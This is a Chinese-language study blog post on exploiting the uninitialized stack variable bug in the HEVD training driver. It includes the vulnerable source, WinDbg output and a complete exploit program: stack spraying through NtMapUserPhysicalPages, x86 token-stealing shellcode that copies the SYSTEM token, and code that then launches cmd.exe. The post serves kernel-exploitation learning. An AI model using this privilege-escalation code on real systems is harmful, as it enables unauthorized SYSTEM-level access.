Windows內核漏洞學習-未初始化棧變量利用

0x00:前言

今天繼續學習HEVD的未初始化棧變量漏洞利用,根據我的經驗,只要是沒涉及到堆的,難度應該都是不大的。原文講的肯定比我好,我這裏主要描述出調試過程。

0x01:漏洞原理

首先看漏洞源碼:

NTSTATUS TriggerUninitializedStackVariable(IN PVOID UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;

#ifdef SECURE
    // Secure Note: This is secure because the developer is properly initializing
    // UNINITIALIZED_STACK_VARIABLE to NULL and checks for NULL pointer before calling
    // the callback
    UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable = {0};
#else
    // Vulnerability Note: This is a vanilla Uninitialized Stack Variable vulnerability
    // because the developer is not initializing 'UNINITIALIZED_STACK_VARIABLE' structure
    // before calling the callback when 'MagicValue' does not match 'UserValue'
    UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable;
#endif

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(UNINITIALIZED_STACK_VARIABLE),
                     (ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE));

        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;

        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable);

        // Validate the magic value
        if (UserValue == MagicValue) {
            UninitializedStackVariable.Value = UserValue;
            UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback;
        }

        DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value);
        DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);

#ifndef SECURE
        DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
#endif

        // Call the callback function
        if (UninitializedStackVariable.Callback) {
            UninitializedStackVariable.Callback();
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

這裏有安全與不安全的代碼對比,在不安全的代碼中,創建了一個局部變量但是沒有初始化,安全的版本則進行了初始化爲{0}。之後檢驗用戶層輸入的是否爲魔數,如果是則進行該變量的Value和回調函數;如果不是魔數,則不填充。在最後有一個檢查變量的回調函數是否爲空,但是如果沒有變量沒有初始化,則毫無檢查意義,甚至被作爲漏洞點利用。這就是未初始化棧變量利用。

0x02:漏洞分析

首先在IDA中找到IOCTL碼,然後輸入正確的魔數進行訪問測試。

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-3AynpoKu-1589783645860)(assets/1589779947514.png)]

#include<stdio.h>
#include<Windows.h>
 
HANDLE hDevice = NULL;
 
BOOL init()
{
    // Get HANDLE
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);
 
    printf("[+]Start to get HANDLE...\n");
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        return FALSE;
    }
    printf("[+]Success to get HANDLE!\n");
    return TRUE;
}
 
VOID Trigger_shellcode()
{
    DWORD bReturn = 0;
    char buf[4] = { 0 };
    *(PDWORD32)(buf) = 0xBAD0B0B0;
 
    DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}
 
int main()
{
 
    if (init() == FALSE)
    {
        printf("[+]Failed to get HANDLE!!!\n");
        system("pause");
        return 0;
    }
 
    Trigger_shellcode();
 
    return 0;
}

運行後得到內核打印結果,可以看到魔數正確時,按流程在執行程序。

****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B0
[+] UninitializedStackVariable Address: 0x8AB1B9C8
[+] UninitializedStackVariable.Value: 0xBAD0B0B0
[+] UninitializedStackVariable.Callback: 0x8E2E2EE8
[+] Triggering Uninitialized Stack Variable Vulnerability
[+] Uninitialized Stack Variable Object Callback
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******

但是由於內核棧上的垃圾值的原因,即使魔數不正確,這裏也會進行Call來調用沒有進行賦值的“回調函數”。這個值是不固定的,但是我們希望該值爲Shellcode的函數地址。因此用到了棧噴射技術。

棧噴射

關於棧噴射技術的原理在這裏有解釋,它利用了一個文檔中沒有的函數 NtMapUserPhysicalPages ,該函數的具體功能我們不關心,但是它的一部分功能是可以拷貝輸入的字節到內核棧上的一個本地緩衝區,最大尺寸可以拷貝1024*IntPtr::Size(32位機器上是4字節=>4096字節)。在這裏足夠了。

在Call回調函數的地方下一斷點,進行棧噴射後觀察。

VOID Trigger_shellcode()
{
	DWORD bReturn = 0;
	char buf[4] = { 0 };
	*(PDWORD32)(buf) = 0xBAD0B0B0 + 1;

	My_NtMapUserPhysicalPages NtMapUserPhysicalPages = (My_NtMapUserPhysicalPages)GetProcAddress(
		GetModuleHandle(L"ntdll"),
		"NtMapUserPhysicalPages");

	if (NtMapUserPhysicalPages == NULL)
	{
		printf("[+]Failed to get MapUserPhysicalPages!!!\n");
		return;
	}

	PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
	memset(StackSpray, 0x41, 1024 * 4);

	printf("[+]Spray address is 0x%p\n", StackSpray);
	//將申請的空間全部填充爲我們的Shellcode地址
	for (int i = 0; i < 1024; i++)
	{
		*(PDWORD)(StackSpray + i) = (DWORD)&ShellCode;
	}
	//進行棧噴射
	NtMapUserPhysicalPages(NULL, 1024, StackSpray);
	DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}

斷點處可以看到,回調函數被噴射爲了Shellcode 的地址,但是似乎可以看出來該噴射內容是隨機的,具體的機制尚且還不清楚。目前只要記得有這一機制即可。

Breakpoint 0 hit
8e2e2f8e ff95f8feffff    call    dword ptr [ebp-108h]
kd> dd ebp-0x108
950589cc  008b13b1 008b13b1 008b13b1 008b13b1
950589dc  008b13b1 008b13b1 008b13b1 008b13b1
950589ec  008b13b1 008b13b1 008b13b1 008b13b1
950589fc  008b13b1 008b13b1 008b13b1 008b13b1
95058a0c  008b13b1 c0802000 95058a40 83e6e654
95058a1c  77c4a001 00000306 000001f9 000001f9
95058a2c  85a44220 00000000 008b13b1 00000005
95058a3c  c0802d08 95058a74 83e6d6cc 85e27340
kd> dd esp
950589b8  1b2bb339 87d74350 87d743c0 8e2e3ca4
950589c8  008b13b1 008b13b1 008b13b1 008b13b1
950589d8  008b13b1 008b13b1 008b13b1 008b13b1
950589e8  008b13b1 008b13b1 008b13b1 008b13b1
950589f8  008b13b1 008b13b1 008b13b1 008b13b1
95058a08  008b13b1 008b13b1 c0802000 95058a40
95058a18  83e6e654 77c4a001 00000306 000001f9
95058a28  000001f9 85a44220 00000000 008b13b1

最後利用成功。完整的利用代碼附上。

在這裏插入圖片描述

#include <Windows.h>
#include <stdio.h>

HANDLE hDevice = NULL;

/************************************************************************/
/*                 Write by Thunder_J 2019.7                            */
/*               Uninitialized-Stack-Variable                           */
/************************************************************************/

typedef NTSTATUS(WINAPI* My_NtMapUserPhysicalPages)(
	IN PVOID          VirtualAddress,
	IN ULONG_PTR      NumberOfPages,
	IN OUT PULONG_PTR UserPfnArray);

VOID ShellCode()
{
	_asm
	{
		//int 3
		pushad
		mov eax, fs: [124h]		// Find the _KTHREAD structure for the current thread
		mov eax, [eax + 0x50]   // Find the _EPROCESS structure
		mov ecx, eax
		mov edx, 4				// edx = system PID(4)

		// The loop is to get the _EPROCESS of the system
		find_sys_pid :
		mov eax, [eax + 0xb8]	// Find the process activity list
		sub eax, 0xb8    		// List traversal
		cmp[eax + 0xb4], edx    // Determine whether it is SYSTEM based on PID
		jnz find_sys_pid

		// Replace the Token
		mov edx, [eax + 0xf8]
		mov[ecx + 0xf8], edx
		popad
		//int 3
		ret
	}
}

BOOL init()
{
	// Get HANDLE
	hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
		GENERIC_READ | GENERIC_WRITE,
		NULL,
		NULL,
		OPEN_EXISTING,
		NULL,
		NULL);

	printf("[+]Start to get HANDLE...\n");
	if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
	{
		return FALSE;
	}
	printf("[+]Success to get HANDLE!\n");
	return TRUE;
}


static VOID CreateCmd()
{
	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
	if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}


VOID Trigger_shellcode()
{
	DWORD bReturn = 0;
	char buf[4] = { 0 };
	*(PDWORD32)(buf) = 0xBAD0B0B0 + 1;

	My_NtMapUserPhysicalPages NtMapUserPhysicalPages = (My_NtMapUserPhysicalPages)GetProcAddress(
		GetModuleHandle(L"ntdll"),
		"NtMapUserPhysicalPages");

	if (NtMapUserPhysicalPages == NULL)
	{
		printf("[+]Failed to get MapUserPhysicalPages!!!\n");
		return;
	}

	PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
	memset(StackSpray, 0x41, 1024 * 4);

	printf("[+]Spray address is 0x%p\n", StackSpray);

	for (int i = 0; i < 1024; i++)
	{
		*(PDWORD)(StackSpray + i) = (DWORD)&ShellCode;
	}

	NtMapUserPhysicalPages(NULL, 1024, StackSpray);
	DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}

int main()
{

	if (init() == FALSE)
	{
		printf("[+]Failed to get HANDLE!!!\n");
		system("pause");
		return 0;
	}

	Trigger_shellcode();

	printf("[+]Start to Create cmd...\n");
	CreateCmd();
	system("pause");

	return 0;
}

明日計劃

繼續學習內核漏洞利用

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章